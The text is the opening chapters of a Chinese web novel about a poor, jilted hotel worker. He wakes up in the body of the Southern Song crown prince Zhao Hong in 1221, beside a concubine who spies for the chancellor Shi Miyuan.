《何日雁北归》
第一卷 烟雨江南
第一回引子
岁草
哀哀岁草无枝可依
同者相争嗦嗦疯语
哀哀岁草无花无蜜
忙蜂不采蝶儿不栖
哀哀岁草无骨无皮
狂风碎叶暴雨沉泥
哀哀岁草不够努力
广厦如云片瓦难取
哀哀岁草漫山遍地
枯黄以终身无所去
哀哀岁草众生之基
万虫得肥尽食尔躯
哀哀岁草不解天意
雷动而行燎原火起
八荒生灵心惊胆惧
凡其所过焦土炼狱
任何生命都只有一次,即使是这浩瀚的宇宙星辰也难逃消弭的命运。而能在这天地间,有限的选择以何种方式过完自己一生的,目前来看只有人类。
但就是这点权利,却出现了许多分类,有人生在富裕之家,衣食无忧,选择任其挥霍。有人出生在贫困之家,生存艰难,别人生来的衣食无忧,在这些人眼里,将会是一生为之挣扎的梦魇。
管子言,衣食足而知荣辱,什么是荣辱?古人所重视的荣辱是指尊严。换言之,活的有尊严。
现代人常常挂在嘴边的,生命只有一次,应当让这宝贵的生命,像夏花一样绽放,不负青春,不负韶华。
语言很美,却并不能完全说清楚,我们到底要用这短短的一生去追逐什么。熙熙人群,为名而来。攘攘众生,逐利而动。
为金钱?美色?又或是为了仇恨?爱情?或者是活着有尊严?这么多问题恐怕没几个人说得清楚。能说得清楚的都是圣人,
有人说幸福就是这一生的追求,那他幸福吗?很显然,如果有了就不会再追了。况且幸福这东西在每个人的心里会有不同的大小,衡量的标准,就是看你的欲望有多大了。欲望越大,起点越低,追逐自己的幸福的路程越是漫长,甚至是奢望。
又有人言,人究其一生所追寻的目标,是死亡,不管过程如何,最后目标是一样的,生来便是为了死。呵呵,有点悲观了。
人生,时也,命也,运也,再加上一点点缘分,上述四条,错一个,人生将会一塌糊涂。
时也,你所生活的时代,很重要。命也,你所出生的家庭,很重要,运也,你的运气,很重要,缘分,最为微妙,却又无比重要,一段好的缘分,会是每个人一生的财富。
两宋时代,文化鼎盛,是中国古代紧跟盛唐的文化盛世,唐宋八大家其中六位生活在两宋。李清照辛弃疾更是家喻户晓。
商业,两宋商业繁荣,纸币,海贸,手工,都达到了同时代其他地区文明所无法比拟的高度。以现代标准衡量,经济总量世界占比百分之69之上。朝廷岁入8000万贯左右。
总结,民间很富,朝廷很富,军队呢?**,火铳,床子**,神臂**,古代***,北宋澶渊之盟,床子**狙杀辽国主帅萧挞凛。最远射程,1500余米。盔甲,札甲,包括铁片札甲,皮革札甲,纸札甲。京师及各州都有造作院,内部分工明确,流水线生产。军事装备,很强。
装备强,人也不弱,两宋立国之初的根本军事改革,取消或消弱地方节度使兵权,强干弱枝,全国最好的兵源都被中央朝廷收走,再加上两宋岁入一直不虚,照理说军队战斗力应该很强。
有钱,装备好,兵源质量好,中央朝廷统一调度军队,民间商业繁荣,文化名人更是层出不穷,个顶个的历史顶流,这么好的时代,欸?是不是很完美?是不是盛世?是不是更容易追到你的幸福?
但是,1005年宋辽澶渊之盟,对辽赔款,此举宣示着北宋再没有心思收回燕云十六州。1044年宋西夏庆历和议,对西夏赔款,标志着北宋对西北土地再无奢望。
1127年,靖康之耻,汴京沦陷,徽钦二帝被金人掳走,北宋灭亡。南宋更别提了,9次大型和议,绍兴和议历史上一枝独秀。就连慈溪都得汗颜。
都很强,又谁都打不过,问题出在哪呢?一首诗,带大家走进南宋:
北雁南飞多哀鸣,
树上叶落更无声。
恍然,几缕惆怅,
又添皱容。
世上多少少年梦,
岁月风过,
只剩白发翁。
宋宇,80后,出生在北方一个普普通通的农村,长相吗还算俊朗,两条浓黑的眉毛和鹰钩鼻配在一起很是阳光,不过与其他80后相比多了几分成熟内敛,少了几分任性。估计和他的经历有关,本来他有个幸福的家庭,结果在他上初二的那年,父亲出车祸没了,走投无路的他为了维持家里的生计无奈辍学,和母亲相依为命。
说到这里已经够惨的。很不幸,数年后母亲因为在一家化工厂工作,环境不好,得了癌症,不多久便也撒手人寰了,化工厂方面还算厚道,赔了一笔在当时来说还算可观的钱。也算了事了。
而我们的主人公,从此在这世间再无任何依靠。20岁那年他把家里的二亩田租给了一个叔伯兄弟后,卖了房子离开了家,来到了附近的县城找了份工作,平时租房度日,虽无大富大贵,日子却也过得去。也算是在心里给自己找到了一个归宿。
一晃就是6年过去了,这要是搁在农村,估计孩子都满地跑了。可现在的他还是孤身一人。前些年吧倒是处过几个对象,不过对方都嫌他没房,不嫁给他。好不容易碰上个不打听这些的,叫肖娜,处了一年多,手都没拉过,就陪着人家逛街了,宋宇为了给她买那些金首饰,名牌包包,服装,把老妈的赔款都要花光了,很纯洁的‘爱情’。
本来还盼着与对方结婚生子后,肖娜就能安稳过日子了,谁料,接下来发生的一件事彻底改变了宋宇的一生。
宋宇是在一间旅馆给人当侍应生,铺床叠被之类的。怕女友瞧不起,一直没告诉女友。
结果一次下班和同事刚从更衣室出来,正要出去喝两杯,走到门口,碰到两个人,男的西装革履的,一看就是贵公子。
当看到女的时,顿时把宋宇气得够呛,因为对方不是别人,正是自己的女友肖娜。
肖娜看到迎面走来的宋宇,也很吃惊,不过到底是老手,很快反应过来,勉作微笑的和宋宇打招呼“:原来你在这工作?”
宋宇受到精神暴击,懵了,竟然点点头,然后满脸通红的拉着同事的手走了出去,一边走一边告诉自己,这不算什么,更惨的都过来了,一个女人么,多得是。
可同事的一句话却把宋宇问得哑口无言。“:那女的你认识?”
宋宇哑巴吃黄连“:老家一亲戚,多少年没见了。”
同事本来还有疑虑,听到解释,释然的一拍手“:你这家伙,刚才看你见到那女的有些手足无措,我还以为是你女朋友,原来只是认识,你啊。脸皮太薄了,没事多锻炼锻炼吧。”说完还拍了拍宋宇肩膀,冲着宋宇傻笑。
宋宇木然的笑了笑。和惨笑也差不多了。
同事见宋宇笑了,继续像平常一样调侃打趣道“:老宋,你老家的亲戚挺有门道啊,那家伙穿金戴银的,也不嫌沉?不会是个捞女吧?”
宋宇这心里是在滴血啊,那些金银首饰,都是娘的生命换来的啊。初见肖娜,衣着朴素,说话像个乡下妹子,很实诚,可现在“:你别瞎说,哪有那么多捞女?”嘴上说的很轻巧,宋宇的心却是凉透了。
同事见宋宇有了让自己闭嘴的意思,适当的提醒宋宇“;现在社会风气不好,咱们这样的底层打工人,还是小心一点好。别辛辛苦苦打工赚俩儿钱,都被人给骗了去。”
言尽于此,同事没有在说下去,反倒是热情的邀请宋宇去喝几杯。宋宇现在恨不得找个地缝钻进去,哪里还有心思跟他去喝酒?支吾了几句,送走同事后,独自一人在这冰冷的城市街道晃悠,仿佛是一具失去了灵魂的死尸。
事后宋宇下
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定决心,把肖娜找出来讨要自己的钱,结果对方是一拖再拖,说不还吧,隔三差五给你点,给的那点钱,说实话和打发要饭的也差不了多少。让你很没脾气。
这冤大头是当定了,宋宇最近一次见面要钱的时候,肖娜回过头狠狠的甩了句“:就你这穷酸样,错峰结婚吧。”这是一个经典搞笑语,大意是这辈子有钱的人结婚,下辈子穷人结婚。这叫错峰结婚。
从此以后宋宇消沉了很多,倒不是怕戴绿帽子,现在这世道谁脑袋上不顶绿帽子?什么?你没有?那是你不了解你老婆...
戴绿帽子倒也罢了,主要是这心伤不起啊。估计公司的同事也看出了他的苦恼,经理找他谈过几次,毕竟他是孤儿,在一个公司时间长了,都是真心关心他。可越是这样,宋宇这心里越是不对味,后来干脆辞了工作,打算休息一阵子。
领导也看出了点道道,临走还告诉他,想回来了随时欢迎,就把这里当作自己的家...宋宇当时心里只有一个念头闪过,如果这里不是旅馆的话...
201x年初秋的某一天,天气晴朗。可以说是郊游的好日子。宋宇整理心情,打算出去散散心。要说去哪,以他现在低落的情绪来看,还真是难为他了。干脆坐着公交在县城转悠吧,反正自己住的县城大小也算个旅游景点。
就这样,宋宇半走,半坐公交在这县城兜了好几圈。直到他转烦了,想倦了,才在脑海中回忆起一个地方。在那里,装着宋宇小时候最开心的回忆。
人啊,就是这样,等到飞累了,倦了,甚至是受伤了,才会想回到最初的地方,这就叫倦鸟归巢吧。
但是可怜的宋宇,在很多年以前,就已经没有了自己的巢,这么多年的寻巢行动,也以惨痛失败告终。如果说宋宇最怕什么,恐怕是寂寞吧...
不多时,公交车便将宋宇载到了目的地。那是一座位于县城郊外的佛寺,宋宇在佛寺门口随手买了瓶矿泉水,便踏着缓慢的脚步,走入佛寺,独自一人逛起来。
直到要晌午了,佛寺里**多散去。才停下脚步,来到佛寺里那棵他熟悉的大树下,斜倚着树身,陷入了回忆...
同样是一个阳光明媚的晌午,几个小孩爬树偷偷溜进了这所佛寺里玩,寺院里充满了石像佛像,对爬上爬下年纪的他们来说,充满了诱惑。就这样,一群小孩不知疲倦的,一直从早上玩到了晌午,直到累得满身大汗,才坐到了佛寺里的一棵大树下吹牛打屁。
只见里面最爱装老大的孩子王喘着粗气,侃侃而谈到“:咋样?我说这里有马可以骑吧?”说完还一脸得色的扫视了一圈周围的小伙伴。
坐在他一边的小胖子王服可不服气了,站起来指着他道“:拉倒吧都是石头马,打也不走,一点都不好玩。跑这么远就为了这破石头马,累都累**。不划算,一点都不划算。”
孩子王一看有人挑战自己,立马掐着腰反驳道“:那是你丫的太胖了,爬不上去,吃不到葡萄说葡萄酸。刚才爬树翻墙头要没我们,你自个就在外边呆着吧你。”
这一句话立马把王服激怒了,脸红脖子粗的反驳起来。两个人你一言我一语,谁也不让谁。宋宇则静静的坐在靠墙的角落里,傻呵呵的着看他俩斗嘴,这时候的他笑的还那么真,幸福就在他身边。
突然孩子王大声说道“:小胖子你那么拽,我问你,你知道这棵树活了多少年了吗?”
众人见说,都朝这棵足有三层楼高的古树看去,然后又满脸疑惑的低下头看着王服,心想这种事,那谁说的准?这回王服算是吃定瘪了。
小胖子王服嘟着嘴说道“:怎么也得几百岁吧?”然后有些不自信的看了看孩子王。
孩子王顿时来了气势,仿佛是一只斗胜的公鸡,昂首挺胸的说道“:几百岁?拉倒吧。我爷爷告诉我,这棵树都已经上千岁了。”
第二回 往事难回首 吹梦到扬州
王服吃了瘪有些没底气,嘴上软了几分“:那是你爷爷告诉你的,我爷爷又没告诉我,这本是是你爷爷的,不算你的本事。”
孩子王不削的笑了笑“:你就是死鸭子嘴硬,我爷爷还告诉我这棵树,可是大有来头呢。古代的时候有个人对着这棵树许了个愿,你们猜怎么着?”
一听有故事,众小孩不禁都盯着孩子王的脸看,仿佛他脸上写着答案似的。这一看不要紧,直接把孩子王看害臊了“:那个人后来做了皇帝了,建的那个朝代好像叫宋朝。别的我也记不清了,我爷爷也没和我多说。”
众小孩一听立马叽叽喳喳的议论起来,也不知道是谁说了一句“:原来是棵许愿树啊,咱们也来许愿吧,保不齐愿望就能成真呢!”
他这一起头,众小孩都有模有样的,闭着眼睛许起愿望来...
宋宇许的愿望现在想来不禁好笑,他希望能住在一个满是火腿肠的屋子里,一辈子都吃不完。原因很简单,宋宇家隔壁就是村长家,村长那大胖小子,天天嘴里都叼着根火腿肠,简直把宋宇羡慕嫉妒的要死。
思绪流转,从回忆中走出来的宋宇,怔怔的看着眼前的大树,不同的是嘴角泛起了一丝笑意,也许只有回忆才能让这个可怜的人开心起来吧。
就这样,边想边傻笑。不知不觉的宋宇便睡着了...在梦里他看到了自己的母亲,母亲依旧是宋宇记忆里那样年轻,站在宋宇面前,满脸笑容温柔的说道“:娃子,最近过得好吗?娘很久没来看你了,没想娘吧?”
娘的出现,让宋宇瞬间泪崩“:娘,我好想你,你和我爹把我自己留在这世上,我好孤单。”说完走近几步想要抱住娘,可双手划过的只是空气。
再看时,娘依旧是面带笑容的站在面前,温柔的说道“:我娃不哭,都长这么大了,还哭鼻子。你让娘笑话你吧。娘给你留下的那笔钱没乱花吧,赶紧用它娶个媳妇,成个家,生个娃,娘也就不再挂念你了,这么些年,娘一直都不去投胎,就是想看你成家立业。”
宋宇擦了擦眼泪,沉沉的说道“:在呢,我自己有工作,那些钱一直在银行存着呢,没乱动,女朋友也有了,不久就要结婚。”说完强做笑脸看着自己的娘。
可是宋宇面前娘的脸色突然大变,嘴角微微的拧起,带着一丝狡黠,染得五颜六色的手指甲,舞来舞去炫耀着。那涂着浓厚唇膏的嘴,蹦出来几个字“:穷耗子,就你还结婚生娃?你下辈子吧,哈哈哈...”
宋宇吓了一跳,待看清那人原来是自己的贝戋人女友,登时火冒三丈的冲上去,掐住她脖子,大嘴巴子冲着她那张俏脸就扇了起来“:你个贝戋货,你把我娘拿命换来的钱还给我。”可是越扇越觉得不对劲,对方依旧笑的那么大声,但自己扇人的手怎么这么疼呢?而且耳边有个娇滴滴的声音越来越大“:殿下,醒醒,再这样下去手会断的...”
时也,命也,运也,再加一点点缘分,四者异位,时空变换,命运重开。
宋宇猛然睁开了眼,四下一扫,发现自己身处于一座古朴的花园凉亭中,花园里种满了各色自己叫不出名来的,五颜六色的绿植。
而此时的自己正一只手掐着凉亭的柱子。再看另一只手,手心都打肿了,传来阵阵火辣辣的痛感。好在是手心往一个方向打的,要是来回抽,肯定废了。
这时那个娇滴滴的声音又响起来“:殿下刚才在奴家腿上睡得正香,怎的突然发起疯来?吓死奴家了。”边说着,边快步走向宋宇,用手中绣帕细心的缠裹宋宇受伤的手掌,还不时吹气帮宋宇缓解疼痛。
宋宇错愕的看着眼前美女,只见那美女正值妙龄,身高比自己现在这副身体矮半头,此时低着头给自己包扎右手,低头看下去,就见这女子乌黑长发低垂,头上没有多余饰品,距离很近,时不时的飘来阵阵花香,想必是特意用鲜花洗头。
好一会宋宇才缓过神来,用没受伤的左手使劲儿捏了捏脸皮,好疼,没有醒。看来不是梦境,十有**穿越了。
后世穿越小说无数,宋宇在确定不是做梦后,心里暗想:穿越了?还有美女在侧?我这是到哪个时代了?又或是异界大陆?修仙大陆?
想到这,宋宇开始四处张望,先看了看天上有没有御剑飞行的高人,又扫视了一圈花园,看看有没有发光的草药。最后还不忘学着修仙小说的样子,屏气凝神开始感受天地间是否有灵气这种东西的存在。
好一番功夫折腾,宋宇失望的摇了摇头,心里暗自琢磨:看来这里和修仙世界没啥关系。至于异界大陆?好像也不太像。莫非是穿越到了古代中国?
宋宇自顾自地琢磨,面前的美女也已将他的伤口包扎好,此时正抬起头,盯着发呆的宋宇看。见宋宇没反应,美女娇嗔一声”:殿下,您一会发疯似的打柱子,一会又站在原地愣神,都不看人家一眼,人家不理殿下啦...”
宋宇被这嗲声拉回了心神,见美女已经转过身背对着自己,忙说“:姑娘,我不是故意的。”美女听宋宇喊自己姑娘,有些吃惊的转过头“:殿下,您还没醒呢?连奴家的名字都不叫了?”
宋宇心道要坏,自己连对方名字都不知道,就贸然开口喊人家姑娘,要是现在这个身体和面前美女是夫妻,那就坏了。
就在宋宇手足无措之时,美女却‘噗嗤’一声笑了出来“:殿下常说人生如梦,转眼百年,看来并非平日感叹。现在连是梦是醒都分不清了。”说完“咯咯咯”的捂着嘴笑得越发厉,那声音如银铃般动听。
宋宇见没有穿帮,心想,自己不如趁着这个轻松愉悦的气氛,半开玩笑的问出身份“:姑娘现在正在我的梦中,你我初次见面,在下斗胆敢问姑娘芳名。”
美女见宋宇戏精上身,跟自己演上了,笑得越发厉害,好容易止住笑声,这才一板一眼的配合宋宇“:殿下,奴家名唤小小,是您的小妾。”
宋宇听了女子的自我介绍,暗自嘀咕:面前美女一直喊我殿下,那我岂不是皇亲国戚?要真是,那我可真走运了。数不尽的香车美女扑面而来,额,虽然看这个时代的样子,估计没有香车,有也是香马车。但起码咱也是宫里人了,哎呀,这话怎么这么别扭呢?感觉有点像做了太监的意思。
宋宇强压住内心的狂喜,暗自思量了一会措辞,继续发问“:小小姑娘,本殿下不知道从何处来到此地,更不知此地是什么地方,好像也忘了自己叫什么名字,小小姑娘人美心善,肯定会告知于本殿下吧?”
小小眨着眼睛说道“:此地大宋临安城济国公府,有关殿下名讳奴家可不敢说。”
宋宇赶忙说“:本殿下恕你无罪,尽管说。”
小小得了宋宇保证,这才缓缓开口“:现您是我们大宋朝的太子赵竑。”
赵竑?还是太子?我穿越到了大宋?现在大宋哪个时期?为了进一步确定自己所处时代信息,宋宇再次开口询问“:小小姑娘,现在是哪年哪月?哪位皇帝?”
小小依旧很配合“:大宋嘉定十四年。不过当朝皇帝的名讳,小小可不敢乱说,殿下,您就别再为难小小了。”说完会给宋宇一个可怜巴巴的表情。
宋宇没有在追问下去,再次陷入沉思,大脑飞速运转,要说宋宇这人,平时真是一点优点没有,没学历,没特长,甚至有一点没素质。
但他有一点个人小爱好,爱看些历史人物小传记什么的,尤其是南宋末年。不敢说倒背如流,正着念肯定没问题。
综合刚才对小小的问话,再加上他宋宇对南宋历史的了解,不多时就反应过来自
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己是在哪一年了。嘉定十四年,公元1221年?南宋宁宗朝?麻蛋,这可是个混乱的大时代啊。
一代天骄成吉思汗已然崛起,宋,金,西夏正在相互混战,消耗着彼此的最后一口气。而自己这个皇子身份赵竑,就有点憋屈了,三年以后就会被权臣史弥远弄死。也就是说吃喝玩乐什么也不干的话,就可以转站地府再次投胎去了...
宋宇摸了摸已经冒汗的鼻头,定了定神,仔细打量着面前的小小。小小也疑惑的盯着宋宇看,四目相对,宋宇脸色泛起红晕,不好意思的将眼神闪躲到了别处。显然对女性缺乏抵抗力。
小小眼见宋宇看自己的眼神怪怪的,和平时看自己的那种,恨不得吃了自己的眼神大不相同。顿时有些不习惯,同样娇羞的低下了头。那小模样要多可人就有多可人。可是当小小再次偷撇了一眼宋宇后,花容失色的大叫起来“:呀!殿下您这是怎么了?”
听到小小喊自己,宋宇赶忙将头转了过来。就见小小指着自己的脸惊恐万状,不禁纳闷自己长的没那么丑吧?古代宫里的皇子皇孙,那可都是优良品种筛选出来的,没下过地,没吃过苦,细皮嫩肉的能差到哪里去?自己明显能感觉到这副身体身材比例很匀称,脸应该胖不到哪去吧?就算胖,那也不能吓到人啊?
这正纳闷呢,一股粘粘的,热热的液体顺着自己的唇角,流到了嘴边,宋宇习惯的用舌头舔了舔,有点咸咸的。我戳,该不会是我流鼻血了吧?
穿越前自己的身体杠杠的,该不会这具新身体每天花天酒地的都糠了吧,那爷们也太亏本了。
面前的小小再次凑到了跟前,由于绣帕已经帮宋宇包扎右手,索性直接用自己的纤纤玉,捂在了宋宇鼻子上,满脸担心的说道“:殿下刚才还好好的,怎么折腾了几下,就流鼻血了?殿下你自己先捂着鼻子,奴家这就去给你喊府中郎中去。”说完就要转身走。
宋宇慌忙喊住她“:那谁!小小姑娘,我没有大碍,火气壮,放放血就没事了。”
说完宋宇一脸苦逼得心想:你这小姑娘太那啥了,还不都是因为你这穿着,我才流鼻血的。你说你穿成这样和裸奔有什么区别?这可比后世大胆多了...
你说你要是长的丑吧也还好,就当是送福利了。可你长得和天仙似的,这走哪不都得要人命的节奏啊?
不怪宋宇心里纳闷,面前的小小穿的确实另类。全身山下只有一袭白纱裙,薄如蝉翼,附着在小小那玲珑曼妙的身体上。清晰的显示出小小在白沙群内,只用白绢包裹重要部位。白绢反光效果极佳,使得小小浑身上下透着诱人的光芒。
向上看去,如水欲滴得瓜子脸,再配上那得体的杏眼,柳眉,樱桃小口,是一种清淡的美,不加修饰的的美。用现代话说就是纯天然。
这样的美女,宋宇也就在电视上看到过。现在和自己距离如此之近,还口口声声说是自己小妾,宋宇的心跳不加速都难。
用手帕擦干了鼻血,宋宇无不赞叹道,这宋朝的丝织工艺果然高啊“:小小,本殿下还有一个问题没问呢,咱继续说。”
小小点点头“:殿下尽管问。”
“:我和小小姑娘,可曾说过史相的坏话?”宋宇严肃的说道。
小小刚听到宋宇的问话,不觉娇躯一震。可当他看到宋宇脸上依旧挂着松散的微笑,发嗲着说道“:哎呦...殿下你好坏。史相的坏话,殿下哪天不是挂在嘴上?”
宋宇听了小小的回答,就觉气血上涌,直冲天灵盖,好悬没晕过去。之所以这么大反应,是因为小小这姑娘便是史弥远留在济国公,也就是穿越过来的宋宇,身边的眼线。
现在可倒好,那倒霉的前太子,天天对着小小说史弥远的坏话,真是厕所里点灯,找屎!
第三回 竹楼换装秀 侍卫携书至
眼见最糟糕的情况已经发生,宋宇咬了咬牙,两世为人,命运重启,第一次见到的人,竟是别人的眼线。
着身体的主人,还当着眼线天天说人家坏话。得罪了当朝最有权力的人,老天这是要玩死我宋宇啊,穿越之前便是被女人**,穿越后还要如此吗?这次还是超级加倍,来了个相爷...
拼了,我宋宇偏要**,赢一次。反正我宋宇烂命一条,输了,大不了再去投胎。
暗自下定决心,宋宇的嘴角露出了一丝微笑对小小说道“:小小姑娘,本殿下的梦已经醒了。刚才只是跟你开个玩笑。没吓到你吧?”
小小这才长出一口气“;看殿下一脸认真的样子,小小真被吓坏了,殿下你好坏...人家不理你了。哼...”
看着一脸嗔怪的小小,宋宇哈哈一笑“:偶尔开个玩笑,换换气氛也不错。人吗,老是一板一眼的,太累了。偶尔小儿心性,玩笑一番放松放松,也是个不错的选择。”边说着,边温柔的用没受伤的左手,摸了摸小小那仿若瀑布倒悬似的黑色长发。
“:殿下以后还是莫要再开这样的玩笑了,一点都不好笑,好吓人的。”小小趁机向前一扑,依偎在了宋宇怀里,小猫似的向上抬头,盯着宋宇下巴看。那模样,我见犹怜。
宋宇却少有的敞开胸怀没有阻拦,更没有将小小推搡出去。这种心理成长速度快的吓人。
看来人在受到巨大刺激后,精神世界会崩溃,心理素质强的,会在崩碎的精神世界上,重建更高级的精神世界。
宋宇一直命苦,儿时父亲去世,崩溃一次,这次精神世界重建,使宋宇很早就开始帮母亲操持家务,表现得十分早熟。
在学校上学的时候,宋宇曾遇到同班的不良少年**同班同学。他挺身而出,救下了同学,却因为多管闲事,被不良少年盯上,除了隔三岔五打一顿,偷宋宇的东西外,这些家伙甚至动用家里长辈的关系向宋宇的班主任举报宋宇早恋。
早恋的女方则是不良少年每天在班里楼楼抱抱的金毛女子。对方一口咬死,宋宇百口莫辩最后在班主任的压力下,被开除出学校。好在母亲跪在了校长面前,才没有开除学籍,不然转学都是问题。
宋宇毕生难忘母亲跪下的那天所发生的一切。先是不良少年的父亲开着一辆别克汽车停在了学校门口,紧接着宋宇便被班主任叫了过去,劈头盖脸一顿批评。然后让宋宇去找家长。
宋宇母亲过来后,校长见宋宇的母亲穿着寒酸,一身工人身上特有的化工味。鄙视的神情就没消退过,根本不给宋宇或是宋宇母亲辩解的机会,直截了当的让宋宇母亲签退学表。言语更是讥讽味儿十足,那无情的话语,就像针一样,扎在了宋宇那年少的心上。
母亲虽被校长用言语,百般羞辱,却仍旧极尽讨好。本来就不多的几句奉承话,重复着给校长说了无数遍。直到把校长说烦了,一甩袖子,答应让宋宇转学。宋宇母亲这才作罢。
处理完转学,班主任一脸鄙夷的对着宋宇放言“:这个世界上,有钱就是王道,没人能改变,你小小年纪不知轻重,得罪比自己有钱有权的人,纯粹是找不自在。以后要学会夹着尾巴过日子。别再招摇了。”
站在一旁看热闹的不良少年也对宋宇说了几句话“:小子,这学校的校长,是我爸酒场上的朋友,弄你,跟玩似的。不是吹牛,就算你在怎么转学,我也有办法收拾你,我爸哥们多了去了。”
相比于老师和不良少年,宋宇的母亲却说了另一番话“:娘知道我娃受了委屈,听娘一句话,别往心里去。咱穷人的命,贱的很。这样的事,以后去了社会上多的是,碰上这些个有权有势的仗势欺人,就学娘说几句恭维话,没人笑话你...有钱人都喜欢被人捧着,尤其是穷人奉承他,为啥?因为他就是要在我们这些穷人身上找优越感。他想要,咱就给他,喊声大哥大姐求放过,身上也不掉块肉。”
三个人,三种语言,就像利刃一样,再次摧毁了宋宇的精神世界。这次重建后,宋宇开始变得沉默寡言,在做什么事情前,都会思虑再三,生怕出了什么错惹来麻烦。
刚转学没多久,母亲又离他而去,宋宇在这世上,再无依靠。学业无法继续。宋宇的精神世界第三次崩溃。重建后,宋宇开始走上社会。
第四次的精神世界崩溃,则是肖娜带来的。这次穿越,宋宇的精神世界又开始重建。重建后的精神世界更加抗打击,,性格也会发生变化,只是不知道这次变化,会让宋宇变成怎样一个人。
此时的宋宇正在抚摸着怀里小小的秀发,心里五味杂陈:想我宋宇,前世不过是宾馆服务员,穷极一生,也没有机会和这样漂亮的女子说上一句话。为了找到个媳妇,倾尽所有,也只落得个人财两空的下场。
这一世,美女竟然投怀送抱。而像小小这样姿色的美女,也只是当朝的丞相送给这副身体前主人的一个玩物罢了。
庭院,钱财,甚至是别人的恭维话,身体的前主人,每时每刻都都在享受着。人与人的命运,差距竟然如此之大。
宋宇想到这,内心深处忽然有某种东西悸动,只见他温柔的推开了怀中的小小“:小小姑娘,你喜欢穿成这样吗?”边说着,边用眼神示意了下小小穿的衣服。
小小被宋宇这么一提醒,脸涨得通红“:殿下你坏**,还不是你让奴家穿成这样的。还过分的要求奴家,里面那件也多余,不方便办事。”小小说话的声音越来越小,最后两句更像是蚊子叫,不仔细听根本听不清楚。
宋宇听了小小的解释,一脸黑线,心想这身体的原主人玩的还挺花。有钱人的快乐,真是不一般。
其实宋宇在问小小衣服问题之前就预感到,是个女人都不喜欢光明正大的穿这种衣服。像情趣内衣这种,大晚上的夫妻俩偷着穿还可以,大白天的穿这身到处跑谁受得了?
“:以后想穿什么,不用刻意迎合本殿下的审美。”
小小被宋宇突然这么一说,脸上浮现慌张之色“:殿下?小小做错什么事了?惹到殿下了?”
宋宇见小小有些误会,露出了善意的微笑,再次轻抚了下小小的黑发“:小小,本殿下以前太不是东西了,不知道尊重你。只把你当成玩物,在这里给你道歉了。”说完,宋宇郑重地对着小小深鞠躬。
小小目楞在了原地,好一会缓过神来,脸色平静的说道“:殿下高看小小了,小小本就是风尘女子,能陪在殿下身边,已经是几世修来的福分了。”
宋宇却一本正经的对小小说教“:以后不光你,本殿下要让这天下所有身份卑微之人,都能在有钱有权的人面前,挺直腰板,不在卑躬屈膝。”
一席话说完。两人都沉默了,也不知过了多久,小小开口“:殿下,小小这就去把衣裳换了去。”说完,拉着宋宇向花园出口走去。
两人路上没有太多言语,宋宇的注意力都被这座华丽的府邸所吸引。出了花园,便是一条石子路直通后院。小小和宋宇的居所就在这里。
后院十分宽阔,没有多少高大树木,多是低矮花草。在庭院最深处有一栋两层竹楼,竹楼前种了些南方常见的竹子。与竹楼相互衬托,别有一番雅韵。
不多时来到竹楼下,小小微笑着对宋宇说道“:殿下,小小这就去换衣服,殿下若是有些累了,就先去竹楼二层少歇。”
宋宇礼貌的点点头,随即上了二楼。二楼的摆设只有一张双人床,一个梳妆台,还有一把躺椅。不例外都是竹子编制。
宋宇看到躺椅很是新奇,赶忙过去躺在了上面;舒服,这辈子就没躺过这么舒服的椅子,还有这屋子,竹子清香混合着不知名花香味。让人闻了心旷神怡。
就这样,不知过了多久,小小换好衣服出现在了宋宇面前“:殿下,这身如何?
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”
宋宇赶忙认真的打量起小小的穿着,小小也很配合地原地转了几个圈,
只见这衣服白色丝绸制作,上面绣着不知名的各色花朵,加上小圆领,过膝长短。显得十分精美。
随着小小原地起舞,外袍下摆飘起,仿佛鲜花盛开。
小小边转圈,边问宋宇“:殿下,小小美吗?”
宋宇脱口而出“:芙蓉不及美人妆,水殿风来珠翠香。”
小小听了宋宇的夸赞,迟疑了一下,停止原地转圈,表情温柔的对着宋宇说道“:殿下以前从来没用诗句夸赞过小小。”
宋宇挠了挠头“:啊!不会吧?以前本殿下怎么夸你的?”
小小被问,脸色有些微红,偷偷凑到宋宇耳朵边“:殿下常夸小小,肤如凝脂,吹弹可破。床上功夫了得...”
小小几句悄悄话,把宋宇听的脸红脖子粗:我还当古人,尤其是太子这一级别的体面人,夸人长得美都用诗呢?没想到这么露骨。
想到这,宋宇呵呵一笑“:这不梦游一场,心有所感,做人的境界有所上升,审美也跟着上升了。”
小小嘟起了嘴“:殿下怎么夸小小,小小都很开心。”
说到这,小小故意对宋宇眨了下左眼,调皮的说道“:不过小小更喜欢殿下刚才那两句诗。”
小小嘴上说喜欢诗,心里却开始计较:殿下一觉睡醒之后,仿佛变了一个人。
要说以前,自己随便发几声嗲,这殿下会立马色迷迷的缠上自己身子。恨不得将自己生吃了。眼神中充满了对自己身体的渴望。
那样的太子,实在是好对付。可现在,面前的太子看着自己,眼神中并没有贪婪之色,对于自己的美,更像是在欣赏,而不是占有。
莫不是真像他自己说的,梦游一场,审美改变?我看性格也变了好多。这样的太子,不好对付啊。
还是说,太子已经发现了自己的身份,才表现出来这副态度?好像太子之前问过自己有没有说过史相坏话,自己回答经常说以后,态度也跟着变了。
想到这,小小试探性地问道”:殿下,您梦游一场,好似变了个人似的?”
宋宇听她如此说,知道这姑娘心眼多,想要试探自己心里的想法,怕是自己知道了他的间谍身份,才转遍了对他的态度。
但现在的宋宇,又岂是以前那个被女人**的**?别以为自己长得一副我见犹怜的面孔,便可以将男人**于鼓掌之中?前太子可以,我宋宇可不行。
宋宇面不改色,缓缓说道“:小小姑娘想多了,这天下只有一个皇子赵竑便是我,又岂会变?姑娘如此说,只能说明姑娘并不了解赵竑。没事的,以后时间多得是,姑娘可以慢慢了解。”
说完宋宇还在心里安慰自己:既来之则安之,正好我也想看看这大宋的半壁江山,究竟为何会葬送在蒙古手中。
小小听完宋宇这段话,更加确定心中的想法:看来这殿下并未识破自己的身份,单纯是性格大变。
不过,自己要想像以前一样魅惑她,只会画蛇添足。可是史相交代的这件差事办砸的话,少不得会怪罪与我,只能暂时蛰伏,另谋办法了。
两人的谈话进行到这,竹楼外,一个穿着古代盔甲,侍卫模样的人,顺着后院石径小跑而来。
盔甲的抖动声伴随着沉重的脚步声,在这宁静的后院中显得格外突兀。
宋宇闻声从二楼窗台向外看去,只见那侍卫手上拿着一封信,看样子这侍卫应该是给自己送信来了。
见侍卫越来越近宋宇赶紧起身下楼迎接,毕竟这是自己穿越而来后,见到的第二个人。尤其是这人还是给自己来送信的。
对于现在处境的宋宇来说,和外界的交往至关重要。身后小小见宋宇下楼,也紧紧跟随。
不多时两人来到竹楼下,那侍卫模样之人已经跪在地上,双手举着书信“:属下带刀侍卫程保参见太子殿下。”
